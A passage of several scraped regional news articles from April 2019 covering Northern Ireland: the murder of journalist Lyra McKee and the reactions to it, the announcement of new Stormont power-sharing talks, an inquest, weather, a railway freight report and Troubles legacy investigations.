in the area were halted. A note left by Mr Cavanagh said he wanted to end his life on December 23 but decided to wait until after Christmas. A Christmas card with 50 inside was also recovered. He wrote: "Having taken the decision to end my life, I decided to postpone for a few days, not wishing to inconvenience people going home for Christmas." He wrote of the despair he was feeling, saying: "I am hoping some Karma may come my way." The coroner read out extracts from an article by John Harris in the Guardian on December 31, in which Mr Cavanagh was referred to as "the best music writer of his times." She said: "Clearly he was very well-liked and respected by those he worked with." If you, or anyone close to you, is affected by any issues in this article, please contact the Samaritans free on 116123 or Lifeline on 0808 808 8000. A leading consultant psychiatrist has dismissed the idea that the New IRA are "deluded and crazy" and insisted they are "doing what the IRA always did". Belfast-based Dr Philip McGarry said using physical force to pursue a political agenda, then producing a "nauseating statement" justifying murder is exactly what some of those now criticising the murder of Lyra McKee had "unashamedly done themselves" during the Troubles. Dr McGarry, a former chair of the Royal Society of Psychiatrists in Northern Ireland, warned that unless "the traditional rhetoric after killings" is addressed, Ms McKee will not be the last victim. "The world which has looked on appalled at Lyra McKee's murder and listened to all the condemnation must firstly be bemused by and then disgusted at such a brazen endorsement of violence," he said. "Some commentators have referred to the New IRA as 'deluded' and 'crazy', that they are 'monsters' and even 'the Antichrist', engaging in 'senseless' activities. That is misleading. "The New IRA are not mentally ill, nor psychopaths, and their aim to kill police officers, far from being senseless, is exactly what they had hoped for. "These individuals are doing what the IRA have always done, which is using physical force to pursue a political agenda." Dr McGarry referred to his late father, who was a surgeon for 40 years at the Mater Hospital in Belfast. He recalled: "He once wryly told the medical students, 'You know, a Protestant spleen with a bullet in it looks just the same as a Catholic spleen with a bullet in it'. "If alive today, he would recognise the nauseating statement of Saoradh justifying the murder of Lyra McKee as being exactly the same as those issued by republicans and loyalists throughout the 1970s and 1980s. "The New IRA will doubtless note the cognitive dissonance of those who criticise them for doing what they had unashamedly done themselves. "If we are serious about genuinely ensuring Lyra's killing is the last, then we must demand of every community leader, political, religious and others, that the cause of Ireland and the cause of Ulster/the Union does not justify the taking of a single human life. "They must also state that just as the killings on Bloody Sunday, and almost certainly some other security force killings, were unjustified and unjustifiable, every killing by the IRA/UVF/INLA/UDA was unjustified and unjustifiable. "It would also help if they were to desist from repeating the dangerous formulation of two communities, which artificially divides us further. "After all, which so-called 'community' was Lyra McKee part of?" Dr McGarry also referred to Ms McKee's belief that we can only deal with the present by making sense, in an honest way, of the past. He added: "Let us do this in her memory, and also for the good of our and future generations." More people would be prepared to be taxed according to their household sustainability levels than use green energy in their homes, despite it being recognised as a priority in tackling climate change. (stock photo) Research into the environmental attitudes and priorities of people living in Northern Ireland has identified a "green gap" in attempts to run more eco-friendly homes. More people would be prepared to be taxed according to their household sustainability levels than use green energy in their homes, despite it being recognised as a priority in tackling climate change. Green energy is the area where we are least likely to put our money where our mouth is, with 46% of Northern Ireland residents claiming they would be willing to pay more for a product or service if it were better for the environment, but only 4% being willing to use a green energy supplier that cost more than a standard supplier. Over a third (39%) would need green electricity to be cheaper than their standard supplier before they would change. Nearly one in 10, meanwhile, would not even consider switching to a green energy supplier, particularly older respondents, no matter the price. Almost two-thirds (64%) believe that green electricity should be subsidised to encourage people to use it, according to the research by online household bill management platform Homebox. In comparison to buying electricity from green energy suppliers, more people from Northern Ireland take their own reusable cups to coffee shops (7%), holiday in the UK to avoid air miles (14%), grow their own food (21%), purchase fair trade items (29%) or only flush the toilet when absolutely necessary (36%). In response to the findings of the study, Homebox founder Hedley Smith claimed that there was a huge lack of understanding of green energy. "Unsurprisingly, plastic is dominating the climate change agenda and topping the list of environmental issues that people are prioritising right now," she explained. "But this masks other important steps that people could take which would have significant environmental benefits and where there is a huge lack of understanding. "People still don't seem to realise that green energy is easy to find, simple to switch to and one of the cheapest energy options for their home. "In fact, all the cheapest energy tariffs currently available are 100% green." Overall half of people living in Northern Ireland feel they have some understanding of how their choices contribute to climate change. However, more than one in 10 admit they have almost no clue how their choices contribute to climate change. The priest who delivered a powerful homily during the funeral of Lyra McKee said it was an invitation for politicians to work together to tackle the origins of violence among young people. Father Martin Magill, who helped officiate at the service, also said the time had come for party leaders to resolve their differences and restore the power-sharing Executive at Stormont. Ms McKee was shot dead by the New IRA last Thursday night. Thousands of mourners lined the streets of Belfast to pay their respects at Wednesday's funeral. Fr Magill (right) prompted spontaneous applause and a standing ovation when he asked the congregation why "in the name of God" did it take the death of a 29-year-old woman to bring them all together under one roof? He told RTE's Morning Ireland programme that she "never gave up" in her work and advised others to learn from her doggedness to resolve matters. Fr Magill, the parish priest of St John's in west Belfast, said that although he understands that politics is difficult, he was inspired by the women and individuals of Derry to speak out about the political impasse in Northern Ireland. Pointing to the situation in the Creggan area, where Ms McKee lost her life, he said he was very concerned about the number of young people who are becoming involved in violence after the ceasefires and the Good Friday Agreement. Fr Magill also said he hopes that deprived areas will really feel the benefits of the peace process. The priest said he wasn't looking for a blame game in his impassioned plea to politicians. He added that although he noticed an uncomfortable reaction from some of the congregation to his words, he said he wasn't expecting the reaction. He said he would really like to see all the political parties get back together again to resolve issues and bring about a new Stormont Assembly. Political leaders must take inspiration from murdered journalist Lyra McKee to make Northern Ireland a brighter and more peaceful place, Northern Ireland Secretary Karen Bradley has said. It comes after the British and Irish governments confirmed a new round of political talks aimed at re-establishing devolved powersharing in Northern Ireland. It was confirmed that talks on the restoration of powersharing institutions will resume on May 7 and all the main parties will be invited. Earlier this week, political leaders attended the funeral of Ms McKee in Belfast. At her funeral, Catholic peacemaking priest Father Martin Magill challenged politicians as to why it had taken the death of the 29-year-old, who was shot by dissident republicans, to unite them. Ms Bradley described her murder as a sickening attack, adding that communities in Northern Ireland and political parties have come together to condemn the shooting. Speaking at a joint press conference with Irelands Foreign Affairs Minister Simon Coveney, Ms Bradley said: Lyra was a role model to many and always fought to make Northern Ireland a better place. Lyra symbolised the new Northern Ireland and her tragic death cannot be in vain. Expand Close The order of service at the funeral of murdered journalist Lyra McKee (Liam McBurney/PA) PA Wire/PA Images / Facebook Twitter Email Whatsapp The order of service at the funeral of murdered journalist Lyra McKee (Liam McBurney/PA) All of us must take inspiration from what Lyra achieved in her life and work to make Northern Ireland a brighter, more peaceful and prosperous place for everyone. My absolute determination is to see the restoration of all the political institutions established by the 1998 (Belfast) Agreement. The institutions have been suspended for more than two years following a row between former governing partners the DUP and Sinn Fein. Endless rounds of negotiations failed to break the deadlock. Sinn Fein has rejected DUP leader Arlene Fosters latest offer to break the political impasse in Northern Ireland. Mr Coveney said: These few days belong to Lyra, her partner Sara, her family, friends and the people who loved her. We mourn with them and grieve for the life and career that was cut short so brutally and needlessly. Expand Close Simon Coveney and Karen Bradley arrive for a press conference at Stormont in Belfast (Brian Lawless/PA) PA Wire/PA Images / Facebook Twitter Email Whatsapp Simon Coveney and Karen Bradley arrive for a press conference at Stormont in Belfast (Brian Lawless/PA) She was a brave, bright and brilliant person who exemplified the spirit of what we need today. Her ambition to change her society for the better through her career and telling her own story and supporting others to do the same could not stand in starker contrast with the people who took weapons on to the streets of Derry with callous disregard for human life, to intimidate, injure and kill. Mrs Bradley said the talks offer the chance to move forward to restore the political institutions. We have a narrow window in which genuine progress can be made and we must act now, she added. Mr Coveney also urged young Catholics to join and support the Police Service of Northern Ireland (PSNI), saying it takes real courage to transform your community despite often intimidating circumstances. He said: They know that communities have to be able to see themselves in the communities theyre working with. If you want to show your support for a better future, show your support for the police. Support young people who are brave enough to consider joining that police force. In a direct message to dissident republicans, he said: They are a small minority who try to control communities through fear and intimidation and twisted, warped thinking. They are not protecting communities, they are endangering them. Mr Coveney said there was an urgent need for positive and determined action because we are leaving far too much wide open space for other kinds of voices that dont believe in democracy but that peddle hate and fear. I think what every decent-thinking person in Northern Ireland wants now is to see us take that spark of determination that I think we have all felt in the last few days and to see if we can build a momentum from that to do something real and positiveSimon Coveney He said the British-Irish Council would convene on May 8, the day after fresh talks on powersharing begin. Mr Coveney added: I think what every decent-thinking person in Northern Ireland wants now is to see us take that spark of determination that I think we have all felt in the last few days and to see if we can build a momentum from that to do something real and positive. Asked how confident she was that the fresh round of talks would succeed, Mrs Bradley said: I think what we saw this time last week with the party leaders coming together, going to the Creggan estate, standing united, putting out a joint statement really gives me a clear indication that the party leaders do want to do this. We are very realistic about whats going to be involved and whats going to be needed. It isnt going to be easy, but I am absolutely determined as is Simon that we will make a success of this. I truly believe, from my conversations with the leaders this week, that they agree with that. Mr Coveney added: I think its different this time. I think theres a real understanding that Northern Ireland desperately needs its own government right now. He said that Northern Irish people could see that the ordinary day-to-day stuff of politics is not working. People are saying, Enough. Do your job. Establish Stormont in a way that will allow it to work again through an executive that hopefully involves all parties, he added. Earlier, Prime Minister Theresa May and Irish Taoiseach Leo Varadkar said: We also heard the unmistakable message to all political leaders that people across Northern Ireland want to see a new momentum for political progress. As Prime Minister and Taoiseach, we are determined to work together to ensure this process comes to a successful conclusionPrime Minister and Taoiseach We agree that what is now needed is actions and not just words from all of us who are in positions of leadership. We have agreed to establish a new process of political talks, involving all the main political parties in Northern Ireland, together with the UK and Irish governments, in accordance with the three-stranded process. The aim of these talks is quickly to re-establish to full operation the democratic institutions of the Belfast/Good Friday Agreement the Northern Ireland Executive, Assembly and North-South Ministerial Council so that they can effectively serve all of the people for the future. The Prime Minister and Taoiseach added: We understand the complexity of the underlying concerns of all parties, and the need for renewed trust, mutual respect, generosity and new thinking to resolve the issues. Expand Close Leo Varadkar and Theresa May after the funeral of Lyra McKee at St Annes Cathedral, Belfast (Brian Lawless/PA) PA Wire/PA Images / Facebook Twitter Email Whatsapp Leo Varadkar and Theresa May after the funeral of Lyra McKee at St Annes Cathedral, Belfast (Brian Lawless/PA) As Prime Minister and Taoiseach, we are determined to work together to ensure this process comes to a successful conclusion. They will review progress at the end of May. The pair also agreed that there should be a meeting of the British-Irish Intergovernmental Conference during the same period. The conference will consider East/West relations, security co-operation, and political stability in Northern Ireland. Mrs Foster wants a twin-track approach where the devolved institutions are restored quickly to deal with issues such as running the health service, while a separate process addresses disagreements like that over same-sex marriage. Sinn Fein deputy leader Michelle ONeill has rejected that and said issues such as marriage equality and protection for the Irish language need to be delivered to pave the way for restoration of the devolved institutions. Northern Ireland may have enjoyed record-breaking Easter temperatures, but the coming days will see a return to chillier weather. Last Saturday the highest temperature of the year so far (22.3C) was recorded in Armagh. Anyone hoping for more of the same this weekend, however, will be sadly disappointed. Heavy rain and brisk winds will dominate today and most of Saturday. However, Northern Ireland looks set to miss the worst of Storm Hannah, which is expected to bring winds of up to 80mph to the Republic. The low-pressure weather system, which was named by Met Eireann yesterday, is expected to bring gales to southern parts of Ireland and the UK over the next 24 hours. The Irish weather service issued a status orange advisory for counties Clare, Cork, Kerry and Limerick, warning of the weather "becoming stormy on Friday evening and overnight as Storm Hannah moves in", bringing gusts of 110 to 130km/h. The warning is in place from 4pm today until 5am tomorrow. While Northern Ireland looks likely to miss the worst of the weather, conditions here will still be nothing like the Mediterranean temperatures that drew crowds to beaches around our coastline over Easter. It is predicted that Hannah - the fourth named storm in the UK and Ireland this year after Erik, Freya and Gareth - will lead to a much cooler Saturday in contrast to the recent hot and sunny Bank Holiday weekend. Highs of just 13C are expected tomorrow - almost 10C lower than experienced during the record-breaking Easter warm spell. Met office meteorologist Alex Deakin said "It will be such a shock when you compare it to last Saturday. "Some places could be 15C lower than last Saturday. It's incredible, really. "Some places through Saturday may be struggling in the single figures, while last Saturday we were in the mid 20s. It's going to be a much colder feel, and that's temperatures on the thermometer. "When you add on the strength of the wind on Saturday, it's going to feel more like January at times, especially compared to last weekend, when it felt like summer." Met Eireann forecasters are predicting "very disturbed and unsettled" weather conditions, with the potential for storms in the south-west of Ireland today. The Irish meteorological service warned: "With many trees now in leaf, this system has the potential to result in trees down, leading to power outages and dangerous driving conditions." A Met Office spokesman said that by the "close of play" tomorrow evening the centre of the low-pressure system should have moved on to the Netherlands, meaning the windy and stormy conditions will ease. Temperatures around Northern Ireland should rise to the mid-teens by the middle of next week, with just light winds and sunny spells. Inaugurated in October 2017, the Baku-Tbilisi-Kars (BTK) Railway has carried 184,000 tons of freight, while 17,500 tons of it has been sent via Turkey. Transport and Infrastructure Minister Cahit Turhan said the rate of freight carried on the BTK in overall international cargo handling was 6.8 percent last year. The train traveled on the 1,974-kilometer railway track on the Turkish side in 57.5 hours. Daily Sabah reports in its article Baku-Tbilisi-Kars railway carries 184,000 tons of freight that the BTK railway line, which links all the roads reaching the country from China and Central Asia, is of crucial importance in terms of infrastructure. This project connects not only three countries, but also the U.K., France, Belgium, Germany, Austria, Hungary, Serbia, Bulgaria, Turkey, Georgia, Azerbaijan, Kazakhstan, Turkmenistan and China. The 829-kilometer railway line, extending from Baku to Kars, complements a major part of the Middle Corridor with the Caspian Pass line. Indicating that the significance of the project will be understood much better in upcoming years, Turhan noted: "This is because the trade volume between China and Europe has reached $1.5 billion per day. This trade flow is expected to continue to increase and will exceed $2 billion per day over the next 5-6 years." Highlighting that cargo transport between Turkey and China on the BTK line started for the first time in January 2019, the minister said that four and five containers were carried from China to Kosekoy in January and February, respectively, and the first block container train consisting of 26 containers that departed from China arrived in Kosekoy on April 15. Transport and Infrastructure Minister Turhan said that 150 national and domestic freight cars produced by the Turkish Railway Machines Industry Inc. (TUDEMSAS) have been carrying loads on the BTK railway line, adding that the issue of establishing a factory in Azerbaijan to jointly produce goods wagons to operate on the railway line has been projected. Turhan said that there have been significant developments regarding the operation of regular block trains between the two countries and between China and Europe using the Marmaray pass via Turkey in a short period of time. According to the minister, for the fast and economical transportation of cargo on the BTK line, special tariffs are applied to cargo carried on this line and sensitivity is shown for the operation of trains in travel periods. Within the framework of BTK agreements, passenger transport between Ankara-Tbilisi-Baku will be handled by 10 railcars that Azerbaijan Railways has procured from Stadler. The train series, which will consist of different types of wagons with beds and offering meals, can carry 257 people. The parties will meet in Ankara on May 24-25 for the study plan and program of the train in question. It is expected that the issue will be finalized at the end of the meeting where details such as weekly working days and times and ticketing procedures will be discussed. Turhan added that it appears that passenger density will be high as seen from questions asked about the line and that train formation will solely consist of freight cars belonging to Azerbaijan Railways that operate on a narrow, wide line. The minister reiterated that 150 national and domestic freight cars produced by TUDEMSAS, an affiliate of the Transport and Infrastructure Ministry, have been carrying loads on the BTK railway line, adding that the issue of establishing a factory in Azerbaijan to jointly produce goods wagons that will operate on the railway line has been projected. Turhan implied that Turkey would provide support regarding the setup of factory areas where production will be carried out, adding that machinery equipment to be used in the factory will be provided by Turkey. Currently, the work continues in the project stage, he said. Emphasizing that they have launched work so that TUDEMSAS will produce freight cars to run between Turkey and Azerbaijan, Turhan said: "In this context, one EA type goods wagon was bought from our Azeri friends and brought to Turkey and the new wagon has been projected by TUDEMSAS. It has been planned that two prototypes will be produced in 2019. Azerbaijan needs 600 freight cars." Stormont has been without a government for more than two years Northern Ireland's political parties have reacted positively to the announcement of talks aimed at restoring Stormont, however there have been signs that red lines still remain. Sinn Fein leader Mary Lou McDonald insisted the party's concerns over an Irish Language Act, same-sex marriage and legacy issues have not changed. "Nobody could countenance the continued denial of these basic rights. People want these issues resolved," she said. Read More "So these talks will be a test of whether the British government and the DUP are finally willing to resolve the issues of equality, rights and integrity in government which caused the collapse of the power-sharing institutions two years ago. Expand Close Sinn Fein leader Mary Lou McDonald. Credit: John Stillwell/PA / Facebook Twitter Email Whatsapp Sinn Fein leader Mary Lou McDonald. Credit: John Stillwell/PA "I sincerely hope that we now see a change in approach and that this process delivers on marriage equality, and rights for women, Irish speakers and victims." DUP leader Arlene Foster insisted that talks should be focused on delivering a "fair and balanced deal" acceptable to both unionists and nationalists. "Anyone who thinks agreement can be reached through a one-sided wish-list being implemented is not routed in reality," she added. Expand Close Arlene Foster / Facebook Twitter Email Whatsapp Arlene Foster "As I said in my conference speech last year, I will encourage the full involvement of all parties capable of holding Ministerial Office, and want their contribution considered and acted upon, on its merits. "We need a sustainable Assembly and that is best delivered through working together with the other parties where we respect each others policies and mandates. The day following the commencement of all-party talks, a meeting of the North-South Ministerial Council will be held. LIVE: Joint British and Irish Governmental statement on Stormont talks with Secretary of State Karen Bradley and Tanaiste Simon Coveney Posted by Belfast Telegraph on Friday, April 26, 2019 It has also been announced that a meeting of the British-Irish Intergovernmental Conference will take place over the same period, focusing on east-west relations, security cooperation and political stability in Northern Ireland. Ulster Unionist leader Robin Swann said progress will only be possible if there is "genuine engagement" from Sinn Fein and the DUP. "The UK Government cannot continue to appease the politics of intransigence. They cannot continue to allow Sinn Fein to set the terms for talks. "People want progress and to see politics in Northern Ireland offer a positive way forward, but have been repeatedly let down by the dysfunctionality, scandals and disrespect of the last Stormont Executive. Expand Close Robin Swann / Facebook Twitter Email Whatsapp Robin Swann "We must stick to the three stranded approach of the Belfast Agreement. That has worked in the past and it can work in the future." Simon Coveney said while he believed there was a need for agreement "well in advance" of mid-July, a deadline for the completion of talks "would not be helpful". SDLP leader Colum Eastwood, however, said a process with no fixed deadline will "simply sink back to the retrenchment of previous talks". Read More "We have already seen the DUP and Sinn Fein slip back into comfortable red lines that look great on placards but deliver nothing for people desperately in need," he added. Expand Close SDLP leader Colum Eastwood PA / Facebook Twitter Email Whatsapp SDLP leader Colum Eastwood "Both of those parties need to think again about their approach thats more about seeking a pound of flesh than reaching agreement. "We have reached a turning point. The tragic events of the last week demand a response from political leaders. That response cannot be limited to strong statements one day and a retreat to the trenches the next. People are demanding a return to partnership." Expand Close Naomi Long / Facebook Twitter Email Whatsapp Naomi Long In a tweet, Alliance leader Naomi Long said her party are ready to: "Reengage in talks: no delays or preconditions. Resolve the issues: not kick the can down the road. .@allianceparty are #ReadyNow to:#Reengage in talks: no delays or preconditions #Resolve the issues: not kick the can down the road#Reform the structures: so the Assembly can deliver#Restore the Assembly: to deal with health, education, infrastructure, economy & environment. Naomi Long MLA (@naomi_long) April 26, 2019 "Reform the structures: so the Assembly can deliver, and restore the Assembly: to deal with health, education, infrastructure, economy and the environment." Journalist Lyra McKee, who was shot dead during rioting in Derry last week The British and Irish governments are aiming to swiftly build on what they hope is powerful momentum to restore power-sharing at Stormont after the killing of Lyra McKee. The fresh talks process, which is set to be announced this afternoon, will begin in less than a fortnight. But don't necessarily expect rapid results. These talks to re-establish the Assembly and Executive are likely to be as torturous and tedious as the previous ones. Since the last effort to end the political stalemate broke down on St Valentine's Day last year, there has been no bridging of the gap between the DUP and Sinn Fein. They were on the cusp of a deal when the DUP negotiators took cold feet at the eleventh hour, fearing they could not sell what was on offer to their grassroots. Far from preparing their base for a compromise, both parties have spent the last 14 months bickering with increasing intensity over Brexit and everything else. Fr Martin Magill's passionate words at Lyra's funeral did put pressure on all the political leaders assembled at St Anne's Cathedral. The cameras captured some squirming in their pews as the priest chastised them, but it is naive to think that the death of the 29-year-old journalist will be by itself a game-changer. The DUP and Sinn Fein nodded in agreement with the cleric who urged them back to work - they could hardly do anything else - but by the following day the verbal warfare had resumed. Arlene Foster made Michelle O'Neill an offer she knew she couldn't accept - the immediate restoration of devolution with a separate process to address the contentious issues. Sinn Fein repeated its Irish Language Act and same-sex marriage demands. Both parties will of course greet today's announcement with positive words. While discussions will begin in about 10 days, significant movement is unlikely before the European elections on May 23. If both parties perform strongly in next Thursday's council poll, they have less incentive to compromise. But a bad or so-so day will pull them back to Stormont much more quickly. Canvassers from all the parties report deep frustration from people on the doorsteps. Whether that actually causes voters to switch parties, and who gets their vote out best, remain the key questions. I've long believed that all roads lead back to Stormont for the DUP and Sinn Fein. Ultimately, they are at heart pragmatists who want to wield power. The election results will just determine whether it's sooner or later that we see Arlene and Michelle become the new sister act in town. Irish Minister for Foreign Affairs Simon Coveney and Northern Ireland Secretary Karen Bradley during a press conference at Stormont in Belfast, as they make an announcement about a fresh bid to restore Stormont powersharing. Brian Lawless/PA Wire Talks are set to get underway to reestablish the Northern Ireland Executive, Assembly and the North-South Ministerial Council. The announcement came in the form of a joint statement from Prime Minister Theresa May and Taoiseach Leo Varadkar on Friday afternoon. LIVE: Joint British and Irish Governmental statement on Stormont talks with Secretary of State Karen Bradley and Tanaiste Simon Coveney Posted by Belfast Telegraph on Friday, April 26, 2019 In a joint press conference in Belfast with Irish foreign minister Simon Coveney, Northern Ireland Secretary Karen Bradley later confirmed that talks on the restoration of power-sharing institutions will resume on Tuesday, May 7. Ms Bradley said the "sickening" murder of journalist Lyra McKee had "deeply shocked everyone across the world". "Lyra was a brilliant, talented journalist, a role model for many, who always fought to make Northern Ireland a better place," said Ms Bradley. "Since Lyra's death, communities across Northern Ireland and the political spectrum have come together, united in condemnation at this murderous act. "They have delivered a clear message - the people responsible for this act of terrorism have absolutely nothing to offer Northern Ireland and have no place in society." The talks will involve all the main political parties in Northern Ireland alongside the UK and Irish Governments. They will aim to "quickly re-establish to full operation the democratic institutions of the Belfast/Good Friday Agreement". Read More There will also be a meeting of the British-Irish Intergovernmental Conference during the same period. It will focus on East/West relations, security cooperation and political stability in Northern Ireland. The progress in the talks will then be reviewed at the end of May. Expand Close Prime Minister Theresa May, Taoiseach Leo Varadkar and Secretary of State Karen Bradley (left) outside the cathedral following the funeral service (Brian Lawless/PA) PA Wire/PA Images / Facebook Twitter Email Whatsapp Prime Minister Theresa May, Taoiseach Leo Varadkar and Secretary of State Karen Bradley (left) outside the cathedral following the funeral service (Brian Lawless/PA) Earlier a joint statement from Mrs May and Mr Varadkar acknowledged the coming together of political leaders for the funeral of 29-year-old journalist Lyra McKee in Belfast on Wednesday. Ms McKee was shot dead during rioting in the Creggan area of Londonderry last Thursday night. Dissident republican group the New IRA have accepted responsibility for her murder. Their statement said that the gathering for Ms McKee's funeral showed the "clear will and determination of all of the people of these islands to reject violence and to support peace and a better future for everyone in Northern Ireland." "We also heard the unmistakable message to all political leaders that people across Northern Ireland want to see a new momentum for political progress. We agree that what is now needed is actions and not just words from all of us who are in positions of leadership," it read. "We understand the complexity of the underlying concerns of all parties, and the need for renewed trust, mutual respect, generosity and new thinking to resolve the issues. "As Prime Minister and Taoiseach, we are determined to work together to ensure this process comes to a successful conclusion." The power-sharing institutions have been suspended for more than two years. DUP leader Arlene Foster wants a twin-track approach where the devolved institutions are restored quickly to deal with issues like running the health service, while a separate process addresses disagreements like that over same-sex marriage. Sinn Fein deputy leader Michelle ONeill has rejected that and said issues like marriage equality and protection for the Irish language need to be delivered to pave the way for restoration of the devolved institutions. Irish Minister for Foreign Affairs Simon Coveney and Northern Ireland Secretary Karen Bradley during a press conference at Stormont in Belfast. Credit: Brian Lawless/PA Wire Politicians in Northern Ireland have been told "the excuses need to end", as a new talks process aimed at restoring power-sharing is announced for May 7. Speaking in Stormont on Friday afternoon, Tanaiste Simon Coveney and Northern Ireland Secretary Karen Bradley said they are determined to see the talks process succeed in the wake of the murder of journalist Lyra McKee. Ms Bradley said the "sickening" murder of journalist Lyra McKee had "deeply shocked everyone across the world". Read More "Lyra was a brilliant, talented journalist, a role model for many, who always fought to make Northern Ireland a better place," said Ms Bradley. "Since Lyra's death, communities across Northern Ireland and the political spectrum have come together, united in condemnation at this murderous act. "They have delivered a clear message - the people responsible for this act of terrorism have absolutely nothing to offer Northern Ireland and have no place in society." "The Tanaiste and I will do everything in our power to make sure these talks are a success. These talks offer us a chance to move forward, restore the political institutions and deliver for the people of Northern Ireland." We have a narrow window in which genuine progress can be made and we must act now. Northern Ireland Secretary Karen Bradley LIVE: Joint British and Irish Governmental statement on Stormont talks with Secretary of State Karen Bradley and Tanaiste Simon Coveney Posted by Belfast Telegraph on Friday, April 26, 2019 Talks between Northern Ireland's main parties will begin on May 7, followed by a meeting of the North-South Ministerial Council the following day. Simon Coveney paid tribute to Lyra McKee and issued a message to the dissident republicans responsible for her murder. "On dissident republicans let me say this: The people of Derry, the people of Creggan and the wider community are good, decent people. The people responsible for this murder do not represent them," he said. "There is an urgent need for positive and determined action at all political levels in Northern Ireland. "Two years and counting without an Assembly, Executive and North-South Ministerial Council, we are leaving far to much wide open space for other voices that don't believe in democracy but peddle hate and fear." The excuses need to end, we owe that to the memory of Lyra in particular, but many others too. Tanaiste Simon Coveney He added: "I think what every decent-thinking person in Northern Ireland wants now is to see us take that spark of determination that I think we have all felt in the last few days and to see if we can build a momentum from that to do something real and positive. "We need this to be a talks process that genuinely tackles the issues through compromise. People have no time for a talks process that shows no progress and goes on and on and on with no solution. "People will tell you it's not the right time, that we should wait. In my experience, it's never the right time in Northern Ireland." Read More Mr Coveney said the governments had deliberately not set a deadline for the completion of talks, as this would not be "helpful". He said: "Time is short here and we will need to make this process work within weeks, rather than months." He said that it was hoped that progress will have been made by the time of the planned review at the end of May and that "hopefully shortly after that we can find agreement". In a joint statement issued on Friday afternoon, Prime Minister Theresa May and Taoiseach Leo Varadkar said what is needed is "actions and not just words" from all in those positions of leadership. "We understand the complexity of the underlying concerns of all parties, and the need for renewed trust, mutual respect, generosity and new thinking to resolve the issues," they said. "As Prime Minister and Taoiseach, we are determined to work together to ensure this process comes to a successful conclusion. We will review progress at the end of May. Mr Donegan was shot outside a school in Belfast Two men have been arrested by detectives investigating the murder of a father outside a school in Belfast. Jim Donegan, 43, was shot dead as he waited to collect his 13-year-old son from St Mary's Christian Brothers Grammar School in west Belfast in December. Detectives said the same killer had been waiting for his victim at the scene five days earlier, but Mr Donegan did not pick up his son that day. Suspects aged 53 and 39 were detained at Musgrave police station in Belfast on Friday under anti-terrorism legislation, a PSNI statement said. Investigators have linked the killing to the Irish National Liberation Army (INLA). Mr Donegan was gunned down in front of schoolchildren and parents on Tuesday December 4. He was shot eight times with a semi-automatic handgun. As many as 200 former members of the security forces are being officially investigated for alleged Troubles-related crimes, it has been reported. Between 150 and 200 former soldiers and police are being probed, according to a Ministry of Defence estimate. The figure, reported by the Guardian last night, comes amid a deepening row over the pursuit of military veterans over Troubles-era incidents. Last month it was announced that a former Parachute Regiment soldier known as Soldier F will face prosecution for his role on Bloody Sunday in 1972. He is charged with the murders of James Wray and William McKinney, and the attempted murders of four others. A second veteran known as Soldier B is to face trial over the death of 15-year-old schoolboy Daniel Hegarty in Londonderry in 1972. The former soldier is also accused of wounding with intent in respect of the shooting of Christopher Hegarty (17), Daniel's cousin. The Guardian reported that the Northern Ireland Office (NIO) and the Ministry of Defence (MoD) were increasingly at odds over how to deal with historical accusations. Defence Secretary Gavin Williamson has proposed an amnesty for former soldiers accused of historical crimes. His department is preparing a Bill that would impose a statute of limitations on prosecutions relating to alleged offences committed outside the UK and dating back more than 10 years - unless there are exceptional circumstances or new evidence. However, the Guardian said it had seen correspondence from the NIO this month in which it sought to reassure Belfast-based campaign group Relatives For Justice that any scheme would not cover Northern Ireland. The NIO is reported to have told the group: "What we want is a way forward which provides for evidence of wrongdoing to be investigated and, where evidence exists, for prosecutions to follow." Last night DUP MP Sir Jeffrey Donaldson said he "did not recognise" the figure of up to 200 investigations. "We do know that there have been discussions between the NIO and the MoD in relation to dealing with legacy cases," Mr Donaldson stressed. "I know that Secretary of State for Defence Gavin Williamson has expressed very clearly his concern that there is far too much focus on what the State did during the Troubles and very little on what the IRA and other terrorist organisations did. "I know that Gavin Williamson has been looking at ways in which greater legal protection can be provided to veterans of the Armed Forces - and we would be very supportive of his stance on this issue." Ulster Unionist MLA Doug Beattie said the MoD should substantiate the figures. He added: "The reality is quite simple. Around 300,000 soldiers served in Northern Ireland during our Troubles and 99%, if not more, served with great professionalism, courage and dignity - and must be commended. "Those who did not, those who went outside the rule of law, the laws of armed conflict, or the rules of engagement, should be investigated, and it is right to investigate them. "But it is important to remember that they did adhere to military and civil law, whereas the terrorists did not, so I will remain sceptical about this figure of 200, although I know that there are some who are being investigated." Dealing with the legacy of the Troubles has long been a contentious issue. Since the announcement of Soldier F's prosecution, veterans groups in Northern Ireland and England have staged mass protests against the decision. In their local government manifesto, Sinn Fein accused the Government of trying to "cover up" its role in State killings. A UK Government spokesperson said: "The system to investigate the past needs to change to provide better outcomes for victims and survivors of the Troubles and to also ensure members of our Armed Forces and police are not disproportionately affected. This is why we have consulted widely on the system in Northern Ireland. "The 2017 manifesto made clear any approach to the past must be consistent with the rule of law. We have always said that we will not introduce amnesties or immunities from prosecution in Northern Ireland. "The Ministry of Defence is currently looking at what more can be done to provide further legal protection to service personnel and veterans, including considering legislation." Police have released new CCTV footage of the gunman suspected of killing Lyra McKee. Speaking at a police press conference on Friday morning Detective Superintendent Jason Murphy said that police wanted to speak to three men identified in the footage, one being the man police believe killed Lyra McKee. He said that he believed the gunman was in his teens and confirmed that the calibre of gun used in the murder was similar to those used in paramilitary style attacks in the Creggan area. She was killed in a night of rioting in the Creggan area of Londonderry last Thursday night. Dissident republican group the New IRA has accepted responsibility for her murder. Detective Superintendent Murphy is leading the investigation and said that that he believed that the information police need to bring Lyra's killer to justice lies within the local community. He said that around 100 people were there on the night Lyra was murdered and that police were sure people saw the gunman and his associates. "I think people within the community know who they are. Im asking them to come forward and help us," he said. Im releasing footage today from the night of Lyras murder and I want to appeal to anyone who recognises or knows these people to talk to us." The CCTV footage begins about one minute before Lyra was murdered and shows three men walk across Central Drive from the direction of the shops. LIVE: PSNIs Detective Superintendent Jason Murphy gives update on murder of Lyra McKee Posted by Belfast Telegraph on Friday, April 26, 2019 "At the front you can see a man circled hes carrying a crate of petrol bombs towards where the crowd including children, were standing. He is the tallest of the three men I want to know who he is," Detective Superintendent Murphy said. Behind him you can see two other men. The man on the inside nearest the wall is the next tallest. Hes wearing dark skinny jeans, blue Nike trainers with a white tick and a white sole. Hes wearing a camouflage scarf or other covering across his face. Do you know this man?" In other footage he can be seen holding a petrol bomb and in the new light his clothing is clearly visible. As he walked along the footpath, he was accompanied by the third man. In the footage you can see that he is shorter than both of the other men and of stocky build. "Its my belief he is the gunman that fired indiscriminately into the crowd, placed the community and police officers at risk and took the life of Lyra. You can see he is wearing dark clothing and in other footage you can see this clothing in a different light. People know who he is." Detective Superintendent Murphy acknowledged that people living in the 